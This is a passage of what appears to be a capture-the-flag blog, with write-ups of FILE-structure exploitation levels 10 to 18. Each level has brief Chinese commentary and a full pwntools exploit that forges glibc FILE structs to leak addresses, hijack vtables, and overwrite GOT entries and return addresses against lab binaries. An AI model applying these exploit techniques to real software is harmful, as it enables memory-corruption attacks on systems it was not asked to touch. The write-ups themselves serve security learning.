    fp._wide_data = buf
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym[&quot;authenticate&quot;] + 0x25

    payload = flat(
        bytes(fp),
        buf,
    )
    raw_input(&quot;DEBUG&quot;)
    target.send(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 10&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Create a fake _wide_data struct to hijack control of the virtual function table of a FILE struct.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;呜呜呜，他甚至在汇编层隐藏了作弊检测（&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level10&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b&quot;libc is: &quot;)
    libc = int(target.recvline().strip(), 16) - 0x84420
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recvuntil(b&quot;writing to: &quot;)
    buf = int(target.recvline().strip(), 16)

    target.success(f&quot;libc: {hex(libc)}&quot;)
    target.success(f&quot;buf: {hex(buf)}&quot;)

    fp = FileStructure()
    fp.flags = b&quot;password&quot;
    fp._lock = buf + 0xE8
    fp._wide_data = buf
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym[&quot;authenticate&quot;]

    payload = flat(
        bytes(fp),
        buf,
    )
    raw_input(&quot;DEBUG&quot;)
    target.send(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 11&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Apply FILE struct exploits to leak a secret value.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;不好啦，开始结合堆利用啦，感觉要开始变难了……&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level11&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(size):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;new_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(size).encode())


def del_note():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;del_note&quot;)


def write_note(content):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_note&quot;)
    target.send(content)


def read_note():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;read_note&quot;)


def open_file():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;open_file&quot;)


def close_file():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;close_file&quot;)


def write_file():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_file&quot;)


def write_fp(payload):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_fp&quot;)
    target.send(payload)


def quit():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    secret = 0x404100

    new_note(0x10)
    open_file()

    fp = FileStructure()
    fp.flags = 0x800
    fp._IO_read_end = secret
    fp._IO_write_base = secret
    fp._IO_write_ptr = secret + 0x100
    fp.fileno = 1
    payload = flat(fp.struntil(&quot;_flags2&quot;))

    raw_input(&quot;DEBUG&quot;)
    write_fp(payload)
    write_file()
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 12&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Apply FILE struct exploits to write data to bypass a security check.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;越来越简单，梦回幼儿园（&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level12&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;new_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(size).encode())


def del_note(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;del_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;read_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;open_file&quot;)


def close_file():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;close_file&quot;)


def read_file(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;read_file&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_fp&quot;)
    target.send(payload)


def auth():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;authenticate&quot;)


def quit():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b&quot;located at: &quot;)
    elf.address = int(target.recvline().strip(), 16) - 0x205D
    authenticate = elf.address + 0x5170

    target.success(f&quot;pie: {hex(elf.address)}&quot;)
    target.success(f&quot;authenticate: {hex(authenticate)}&quot;)

    open_file()

    fp = FileStructure()
    fp.read(authenticate, 0x10)
    payload = flat(fp.struntil(&quot;_IO_save_base&quot;))

    # raw_input(&quot;DEBUG&quot;)
    write_fp(payload)
    new_note(0, 0x8)
    raw_input(&quot;DEBUG&quot;)
    read_file(0)
    auth()
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 13&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Apply FILE struct exploits to write data and hijack control flow.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Level 12: When using close_file, be cautious of double free or invalid pointer issues.&amp;lt;br /&amp;gt;
Level 13: To resolve issues with stdin breaking after using close_file, consider alternative methods to get an arbitrary read without using close_file.&amp;lt;br /&amp;gt;
Level 13: One approach is to perform a leak using write_file and an overwrite using read_file.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;感觉 Level 12 和 Level 13 我打的都是非预期 o_O&lt;/p&gt;
&lt;p&gt;&lt;s&gt;求漂亮小姐姐浇浇 &lt;code&gt;fclose&lt;/code&gt; 怎么利用……&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level13&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;new_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(size).encode())


def del_note(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;del_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;read_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;open_file&quot;)


def close_file():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;close_file&quot;)


def write_file(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_file&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())


def read_file(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;read_file&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_fp&quot;)
    target.send(payload)


def quit():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b&quot;is: &quot;)
    stack = int(target.recvline().strip(), 16)

    target.success(f&quot;stack: {hex(stack)}&quot;)

    open_file()

    fp = FileStructure()
    fp.write(stack - 0x50, 0x100)
    payload = flat(fp.struntil(&quot;_flags2&quot;))

    write_fp(payload)

    new_note(0, 0x10)
    write_file(0)
    target.recvlines(4)
    fp_addr = int.from_bytes(target.recv(0x8), &quot;little&quot;) - 0x1E0

    target.recv(0x68)
    libc = int.from_bytes(target.recv(0x8), &quot;little&quot;) - 0x1ED6A0
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recv(0x48)
    elf.address = int.from_bytes(target.recv(0x8), &quot;little&quot;) - 0x2200

    target.success(f&quot;libc: {hex(libc)}&quot;)
    target.success(f&quot;pie: {hex(elf.address)}&quot;)
    target.success(f&quot;fp: {hex(fp_addr)}&quot;)

    fp = FileStructure()
    fp._lock = fp_addr
    fp._wide_data = fp_addr
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym[&quot;win&quot;]
    payload = flat(
        bytes(fp),
        fp_addr,
    )

    write_fp(payload)

    # raw_input(&quot;DEBUG&quot;)
    write_file(0)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 14&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Apply FILE struct exploits to write data to hijack control flow.. again?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这题泄漏了栈地址，有 &lt;code&gt;fread&lt;/code&gt;，所以直接让它写返回地址就好了，多跑几次，$1/16$ 概率成功。我不知道有没有别的打法，提示说 &lt;code&gt;close_file&lt;/code&gt; 可能比较有用，不懂，这个预期解到底是啥，我不知道……&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level14&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;new_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(size).encode())


def del_note(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;del_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;read_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;open_file&quot;)


def close_file():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;close_file&quot;)


def read_file(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;read_file&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_fp&quot;)
    target.send(payload)


def quit():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b&quot;is: &quot;)
    stack = int(target.recvline().strip(), 16)
    ret = stack + 0x98

    target.success(f&quot;stack: {hex(stack)}&quot;)

    open_file()

    fp = FileStructure()
    fp.read(ret, 0x3)
    payload = flat(fp.struntil(&quot;_flags2&quot;))

    write_fp(payload)

    new_note(0, 0x2)
    # raw_input(&quot;DEBUG&quot;)
    read_file(0)

    payload = flat(
        b&quot;\xc9\x03&quot;,
    )
    target.send(payload)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 15&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Apply FILE struct exploits to overwrite a GOT entry.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;比上题简单，直接改 GOT 表。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level15&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;new_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(size).encode())


def del_note(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;del_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;read_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;open_file&quot;)


def close_file():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;close_file&quot;)


def read_file(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;read_file&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_fp&quot;)
    target.send(payload)


def quit():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    open_file()

    fp = FileStructure()
    fp.read(elf.got[&quot;printf&quot;], 0x9)
    payload = flat(fp.struntil(&quot;_flags2&quot;))

    write_fp(payload)

    new_note(0, 0x8)
    # raw_input(&quot;DEBUG&quot;)
    read_file(0)

    payload = flat(
        elf.sym[&quot;win&quot;],
    )
    target.send(payload)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 16&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Apply FILE struct exploits to overwrite a built-in FILE struct and print the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;泄漏了 libc，可以算出 stdout，所以使 &lt;code&gt;fread&lt;/code&gt; 从 stdin 向 stdout 读，然后修改 stdout 输出缓冲区。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level16&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;new_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(size).encode())


def del_note(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;del_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;read_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;open_file&quot;)


def close_file():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;close_file&quot;)


def read_file(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;read_file&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_fp&quot;)
    target.send(payload)


def quit():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    secret = 0x405100

    target.recvuntil(b&quot;is: &quot;)
    libc.address = int(target.recvline().strip(), 16) - 0x84420
    stdout = libc.sym[&quot;_IO_2_1_stdout_&quot;]

    target.success(f&quot;libc: {hex(libc.address)}&quot;)
    target.success(f&quot;stdout: {hex(stdout)}&quot;)

    open_file()

    fp = FileStructure()
    fp.read(stdout, 0x78)

    payload = flat(fp.struntil(&quot;_flags2&quot;))

    write_fp(payload)

    stdout = FileStructure()
    stdout.write(secret, 0x100)

    payload = flat(stdout.struntil(&quot;_flags2&quot;))

    new_note(0, 0x70)
    raw_input(&quot;DEBUG&quot;)
    read_file(0)

    raw_input(&quot;DEBUG&quot;)
    target.send(payload)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 17&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Apply FILE struct exploits to read/write data and capture the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;没办法泄漏任何地址，咋办嘞？又回到了 glibc 堆分配机制问题上来…… &lt;code&gt;fopen&lt;/code&gt; 会 &lt;code&gt;malloc&lt;/code&gt; 一块 File Structure buffer，而 &lt;code&gt;fclose&lt;/code&gt; 会 &lt;code&gt;free&lt;/code&gt; 掉 &lt;code&gt;fopen&lt;/code&gt; 分配的 buffer，那么，我们只要先调用 &lt;code&gt;open_file&lt;/code&gt; fopen 一个文件，它会设置 fp，然后调用 &lt;code&gt;close_file&lt;/code&gt; 释放，再打开包含 flag 的文件，此时这个 fopen 会复用之前的地址，由于 close 的时候没有清空 fp 指针，所以此时 fp 指向我们的 flag 结构体，之后我们就可以把 flag 内容搞到用户分配的 buffer 中了，最后篡改 fp 的 fileno 为 stdout，调用 &lt;code&gt;write_file&lt;/code&gt; 会将 buffer 内容写到这个 fp 的 fileno 中，成功泄漏 flag。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level17&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;new_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(size).encode())


def del_note(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;del_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;read_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;open_file&quot;)


def close_file():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;close_file&quot;)


def read_file(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;read_file&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())


def write_file(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_file&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_fp&quot;)
    target.send(payload)


def open_flag():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;open_flag&quot;)


def quit():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;quit&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    open_file()
    close_file()
    open_flag()
    new_note(0, 0x100)
    read_file(0)

    fp = FileStructure()
    fp.write(0, 0x100)
    payload = flat(fp.struntil(&quot;_flags2&quot;))

    # raw_input(&quot;DEBUG&quot;)
    write_fp(payload)
    write_file(0)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 18&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Apply FILE struct exploits to arbitrarily read/write data or hijack control flow.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;没开 PIE 有 &lt;code&gt;fwrite&lt;/code&gt; 且可篡改 fp 那还不是轻轻松松？&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level18&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;new_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(size).encode())


def del_note(idx):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;del_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;write_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;read_note&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;open_file&quot;)


def close_file():
